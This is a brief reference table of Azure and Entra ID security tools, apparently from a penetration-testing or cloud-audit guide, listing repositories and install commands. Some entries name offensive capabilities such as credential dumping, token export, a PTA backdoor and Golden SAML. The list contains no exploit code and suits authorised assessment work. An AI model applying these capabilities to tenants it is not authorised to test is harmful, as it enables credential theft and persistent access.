AzureHoundAttack path graph - surfaces edges and shortest paths to high-value targetshttps://github.com/SpecterOps/AzureHound
BloodHoundVisualizes AzureHound output; run “Shortest Paths” querieshttps://github.com/SpecterOps/bloodhound-cli
CloudPEASSTry-based permission discovery; flags dangerous configurations across both planeshttps://github.com/carlospolop/CloudPEASS
ROADtools / roadtxEntra ID snapshot; JWT payload decode; app role resolutionpip install roadrecon roadtx
MicroBurstTry-based ARM resource discovery across subscriptionshttps://github.com/NetSPI/MicroBurst
AADInternalsToken export, sync credential dump, PTA backdoor, Golden SAMLInstall-Module AADInternals
entrascopes.comReference for Graph API app role GUIDs → human-readable nameshttps://entrascopes.com